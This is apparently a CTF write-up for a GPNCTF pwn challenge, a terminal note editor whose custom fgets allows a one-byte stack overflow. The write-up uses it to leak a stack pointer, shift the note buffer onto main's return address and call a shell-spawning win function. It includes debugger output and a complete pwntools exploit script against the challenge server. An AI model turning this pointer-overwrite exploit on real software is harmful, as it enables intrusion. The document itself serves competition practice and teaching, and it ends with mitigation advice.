The web guys always have these note apps, why not use this terminal based one instead.
Category: pwn
Solver: nh1729
Flag: GPNCTF{now_Y0u_SUr31Y_4RE_RE4dy_7o_pWN_LAdyBIRD!}
Challenge Overview
The challenge came with source C files, a compiled binary and a Dockerfile.
$ pwn checksec chall
[*] 'chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
The challenge is an interactive note editor for a single note with basic capabilities:
- Clear note contents,
- read note contents,
- append to the note,
- edit inside a note, overwriting previous bytes,
- truncate bytes from the end of the note.
The note lives on the stack, including its buffer. It contains its buffer pointer, the buffer size, number of written bytes and number of bytes left.
Note note;
char buffer[NOTE_SIZE];
note = (Note) {
.buffer = buffer,
.size = sizeof(buffer),
.pos = 0,
.budget = sizeof(buffer)
};
The challenge also contains a win
function that spawns a shell.
Notably, it does not use the libc fgets
, instead implementing its own:
char *fgets(char* s, int size, FILE *restrict stream) {
char* cursor = s;
for (int i = 0; i < size -1; i++) {
int c = getc(stream);
if (c == EOF) break;
*(cursor++) = c;
if (c == '\n') break;
}
// *cursor = '\0'; // our note is always null terminated
return s;
}
Writeup
Skimming through the code, we found that the number of written bytes pos
, available bytes budget
and buffer length size
are kept in sync in most operations, and we generally cannot write beyond the note buffer.
However, there is one suspicious line when editing a note:
printf("How many bytes do you want to overwrite: ");
int64_t length;
SCANLINE("%ld", &length);
if (offset <= note->pos) {
uint32_t lookback = (note->pos - offset);
if (length <= note->budget + lookback) {
fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte // SUS
...
We can see that offset is at most note->pos
and length
is at most note->budget
, but fgets
can acutally read two more bytes! In its source, we see that it actually never writes the last byte, leaving us with a 1-byte stack overflow.
We started the challenge in pwndbg
, created a note with cyclic 1022
and inspected the stack:
gdb ./chall
pwndbg> r
Starting program: /shared/CTF/2025_gpn/note-editor/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the terminal note editor as a service.
Choose your action:
1. Reset note
2. View current note
3. Append line to note
4. Edit line at offset
5. Truncate note
6. Quit
3
Append something to your note (1024 bytes left):
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfa
Choose your action:
1. Reset note
2. View current note
3. Append line to note
4. Edit line at offset
5. Truncate note
6. Quit
^C
Program received signal SIGINT, Interrupt.
...
pwndbg> tele 200
...
a4:0520│ 0x7fffffffda20 ◂— 'caakdaakeaakfa\n'
a5:0528│ 0x7fffffffda28 ◂— 0xa61666b616165 /* 'eaakfa\n' */
a6:0530│ 0x7fffffffda30 —▸ 0x7fffffffd630 ◂— 0x6161616261616161 ('aaaabaaa')
a7:0538│ 0x7fffffffda38 ◂— 0x400
a8:0540│ 0x7fffffffda40 ◂— 0x3ff00000001
a9:0548│ 0x7fffffffda48 ◂— 0x3ffffdae0
aa:0550│ 0x7fffffffda50 ◂— 1
ab:0558│ 0x7fffffffda58 —▸ 0x7ffff7dd5ca8 (__libc_start_call_main+120) ◂— mov edi, eax
We see that the buffer of size 1024 is directly before the buffer
pointer in the note
struct. With the single byte override, we might be able to change the least significant byte of that pointer.
By increasing it, we can even gain the ability to write more bytes because the buffer size is relative to the buffer start pointer, which we are altering.
To do so, we first leak the current pointer in a pwntools
script:
from pwn import *
BINARY_NAME = './chall'
def solve(r: remote, exe: ELF):
# Fill note so we can edit it
r.sendlineafter(b'Choose your action:', b'3')
r.sendafter(b'Append something to your note', cyclic(1023))
# Fill buffer completely, eliminate trailing null byte
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'3')
r.send(b'1234')
# Read pointer to buffer
r.sendlineafter(b'Choose your action:', b'2')
r.recvuntil(b'1234')
stack_leak = int.from_bytes(r.recvline().strip(b"\n"), 'little')
success(f'{stack_leak=:x}')
r.interactive()
def conn():
if args.REMOTE:
r = remote("localhost", "443", ssl=True)
elif args.GDB:
gdbscript = '''
c
'''
r = gdb.debug(context.binary.path, gdbscript=gdbscript)
else:
r = process(context.binary.path,)
return r
def main():
exe = ELF(BINARY_NAME)
context.binary = exe
r = conn()
solve(r, exe)
r.close()
if __name__ == '__main__':
main()
To call the win
function, we just have to write its address to the return address of main
. Luckily, the binary is not PIE and the win
address is static.
We first add 0x30
to the note buffer
# Override least significant byte of pointer so the end of the buffer overlaps with main return address
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'4')
r.send(b'1234' + bytes([(stack_leak & 0xff) + 0x30]))
Now, the last 8 bytes of the note should overlap with the return address of main
and can write the function pointer.
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1016')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'8')
r.sendline(p64(exe.sym.win))
Lastly, we need to return from main
to execute win
.
r.sendlineafter(b'Choose your action:', b'6')
r.sendline('cat /flag')
r.interactive()
Solve Script
Note that the script might require multiple tries because there might be an overflow when adding 0x30
to the buffer
pointer, depending on stack top randomization.
from pwn import *
BINARY_NAME = './chall'
def solve(r: remote, exe: ELF):
# Fill note so we can edit it
r.sendlineafter(b'Choose your action:', b'3')
r.sendafter(b'Append something to your note', cyclic(1023))
# Fill buffer completely, eliminate trailing null byte
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'3')
r.send(b'1234')
# Read pointer to buffer
r.sendlineafter(b'Choose your action:', b'2')
r.recvuntil(b'1234')
stack_leak = int.from_bytes(r.recvline().strip(b"\n"), 'little')
success(f'{stack_leak=:x}')
# Override least significant byte of pointer so the end of the buffer overlaps with main return address
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'4')
r.send(b'1234' + bytes([(stack_leak & 0xff) + 0x30]))
# Write win function pointer to return address
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1016')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'8')
r.sendline(p64(exe.sym.win))
# Return from main
r.sendlineafter(b'Choose your action:', b'6')
r.sendline('cat /flag')
r.interactive()
def conn():
if args.REMOTE:
r = remote("newcourt-of-unbreakable-industry.gpn23.ctf.kitctf.de", "443", ssl=True)
elif args.GDB:
gdbscript = '''
c
'''
r = gdb.debug(context.binary.path, gdbscript=gdbscript)
else:
r = process(context.binary.path,)
return r
def main():
exe = ELF(BINARY_NAME)
context.binary = exe
r = conn()
solve(r, exe)
r.close()
if __name__ == '__main__':
main()
Result
GPNCTF{now_Y0u_SUr31Y_4RE_RE4dy_7o_pWN_LAdyBIRD!}
Mitigations
- Use memory-safe languages like Rust, golang or higher level languages.
- When you need to use C, double-check all sizes to avoid overflows.